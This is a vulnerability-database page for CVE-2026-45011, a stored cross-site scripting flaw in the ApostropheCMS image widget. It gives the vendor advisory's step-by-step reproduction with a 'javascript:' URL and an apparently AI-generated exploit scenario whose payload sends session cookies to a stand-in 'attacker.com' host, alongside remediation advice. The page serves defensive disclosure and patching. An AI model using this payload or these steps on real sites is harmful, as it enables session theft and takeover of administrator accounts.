Skip to main content

ApostropheCMS EUVDEUVD-2026-36567

| CVE-2026-45011 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/apostrophecms/apostrophe GHSA-5f64-7vfc-rcx6
7.3
CVSS 3.1 · Vendor: https://github.com/apostrophecms/apostrophe
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as Editor
  2. Delivery
    Create image widget
  3. Exploit
    Inject javascript: URL payload
  4. Install
    Publish malicious page
  5. C2
    Victim clicks image
  6. Execute
    Execute arbitrary JavaScript
  7. Impact
    Steal session/perform admin actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker requires authenticated access with Editor or Contributor role in ApostropheCMS. Editor role is mandatory for direct exploitation because only Editors possess permission to publish pages to the live site, making malicious content immediately accessible to victims. Contributor role can create the malicious widget but requires Administrator approval before publication, limiting immediate impact. Victim must interact with the published page by clicking the crafted image link, satisfying the UI:R (Required) interaction in the CVSS vector. The vulnerability affects default ApostropheCMS installations with the image widget feature enabled, which is standard functionality. No non-default configuration or special deployment mode required. Exploitation is limited by the authentication barrier and the need for victim interaction, but these conditions are realistic in multi-user CMS environments where editors routinely manage content and administrators review published pages.

Impact

CVSS 7.3 (High) appropriately reflects attack complexity: network-accessible (AV:N) but requires low-privilege authentication (PR:L) as Editor role and victim interaction (UI:R). Scope unchanged (S:U) limits browser-level impact, though high confidentiality and integrity impact (C:H/I:H) reflects session hijacking potential. No public exploit identified at time of analysis and no CISA KEV listing, indicating exploitation is not yet widespread. However, the detailed GitHub advisory provides complete step-by-step reproduction, effectively serving as a public proof-of-concept that lowers exploitation barrier. Real-world risk elevates beyond base CVSS because Editor role is commonly granted in CMS deployments, user interaction (clicking images) is natural behavior, and administrator victimization enables privilege escalation. No vendor-released patch identified at time of analysis despite public disclosure, leaving deployers without an official fix. Priority should be HIGH for ApostropheCMS deployments with multiple editors or untrusted content contributors, MEDIUM for single-admin deployments. EPSS data not available, but detailed exploitation steps and lack of patch suggest elevated short-term risk.

Exploit ScenarioDerived

A malicious insider with Editor credentials logs into ApostropheCMS and creates an image widget on the homepage, configuring the link URL field with 'javascript:void(document.location="https://attacker.com/steal?cookie="+document.cookie)'. After publishing the page, an administrator reviewing site content clicks the image, triggering the payload which exfiltrates their session cookie to the attacker's server. The attacker uses the stolen administrator session to access sensitive CMS configuration, create additional backdoor accounts, or inject malicious scripts into site-wide templates affecting all public visitors. Detailed reproduction steps provided in GitHub advisory GHSA-5f64-7vfc-rcx6 effectively function as a public proof-of-concept.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Stored cross-site scripting in ApostropheCMS 4.29.0 allows authenticated editors to inject arbitrary JavaScript via image widget URL fields, affecting administrators and public visitors. The vulnerability permits execution of malicious payloads when victims click crafted image links on published pages. No vendor-released patch identified at time of analysis, and CVSS 7.3 (High) reflects the authenticated nature and required user interaction, though impact on administrator sessions elevates real-world risk.

RemediationAI

No vendor-released patch identified at time of analysis based on GitHub advisory data showing 'fixed in: None'. Organizations must implement compensating controls until official patch availability. Immediate mitigation: implement server-side URL scheme validation in image widget processing to reject javascript:, data:, vbscript:, and file: protocols while allowing only http:, https:, mailto:, and relative URLs. Apply strict Content Security Policy headers with 'unsafe-inline' removed from script-src directive to block inline JavaScript execution even if XSS payloads reach the DOM. Restrict Editor role assignment to fully trusted personnel only, and enable content approval workflows requiring Administrator review before publication if supported by the platform. Monitor the official advisory at https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-5f64-7vfc-rcx6 and npm package updates for patch release announcements. Note that CSP implementation may break legitimate inline scripts if the application relies on them, requiring script refactoring. URL validation must occur server-side before database persistence, not just client-side, to prevent bypasses.

Affected VersionsENISA

Apostrophe = 4.29.0

Affected Packages

npm apostrophe no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ApostropheCMS is a Node.js-based content management system distributed via npm (pkg:npm/apostrophe). This vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) in the image widget's URL link functionality. The application fails to validate or sanitize user-supplied URLs, specifically allowing dangerous protocol schemes like 'javascript:' to persist through storage and rendering. When the widget HTML is rendered in victim browsers, the href attribute containing the javascript: scheme executes as code rather than navigating. This is a classic stored XSS pattern where malicious input survives server-side processing, database storage, and template rendering without sanitization, ultimately executing in a different user's security context.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/apostrophecms/apostrophe) PRIMARY 7.3 HIGH
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Primary rating from Vendor (https://github.com/apostrophecms/apostrophe) · only source for this CVE.

CVSS VectorVendor: https://github.com/apostrophecms/apostrophe

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

A stored cross-site scripting vulnerability was identified in the image widget functionality. A user with the Editor role can configure an image widget link to use a javascript: URL payload.

Because editors have permission to publish pages, the malicious widget can be published to the live site. When another user, including an administrator or public visitor, clicks the affected image/link, arbitrary JavaScript executes in the victim’s browser.

Affected Version

ApostropheCMS (tested on version: v4.29.0)

Steps to Reproduce

Precondition Ensure at least one image exists in the media library.

If the media library is empty:

  • Log in as an Editor.
  • Open the media library.
  • Upload any JPG or PNG image.
  • Set any title, for example Probe image.
  • Publish the image and close the media manager.

Exploitation Steps

  • Log in as an Editor.
  • Open the home page.
  • Enable edit mode for the page.
  • In the main content area, click Add content.
  • Select the Image widget.
  • Choose any existing image from the image picker and save/select it.
  • Open the image widget settings.
  • Locate the Link to field and change it to URL.
  • In the URL field, enter: `javascript:alert(document.domain)`

<img width="1249" height="979" alt="image" src="https://github.com/user-attachments/assets/c7f77177-1711-461d-b9bd-14292a6996d5" />

  • Save the image and click on Update.
  • As another user, such as an administrator or guest, open the published page and click the linked image.
  • Observe that the JavaScript payload executes.

<img width="1267" height="1034" alt="image" src="https://github.com/user-attachments/assets/a80484b4-873a-47c1-8682-84626523008a" />

Note: This attack can also be performed by a Contributor. However, because contributors cannot publish content directly, the malicious image widget remains in the draft version and is only visible to users with access to review drafts, such as administrators or editors.

If an administrator reviews and approves/publishes the affected draft, the stored XSS becomes part of the live page and can then affect all users who interact with the malicious image link.

Impact

Successful exploitation allows an Editor to store a JavaScript payload in published page content. When a victim clicks the affected image link, the payload executes in the victim’s browser.

This may allow an attacker to:

  • perform actions in the context of an authenticated administrator
  • access sensitive information available in the CMS interface
  • modify page content or configuration
  • conduct phishing attacks within the trusted site
  • compromise visitors who interact with the published image link

Recommendation

Validate and sanitize all user-supplied URLs used in widget link fields.

Specifically:

  • Reject dangerous URL schemes such as javascript:, data:, and other executable schemes.
  • Allow only safe protocols such as http:, https:, mailto:, and relative URLs where appropriate.
  • Normalize and validate URLs server-side before storage.
  • Encode rendered URLs safely in templates.
  • Consider applying a strict Content Security Policy to reduce the impact of XSS.

Executive ViewAI

Why It Matters

ApostropheCMS 4.29.0 contains a stored cross-site scripting vulnerability that allows authenticated editors to inject malicious code into image widgets, which executes when administrators or visitors interact with affected content. This creates a persistent attack vector within your content management system that can compromise administrative accounts and expose visitor data without requiring additional technical sophistication from attackers.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) restrict image widget functionality to administrative users only; (2) implement HTML sanitization libraries (e.g., DOMPurify) on all image widget output before rendering; (3) enforce Content Security Policy headers prohibiting inline script execution; (4) review and reduce editor role permissions to minimum necessary; (5) monitor administrator session activity for anomalous behavior; (6) maintain detailed audit logs of all content modifications involving image widgets.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy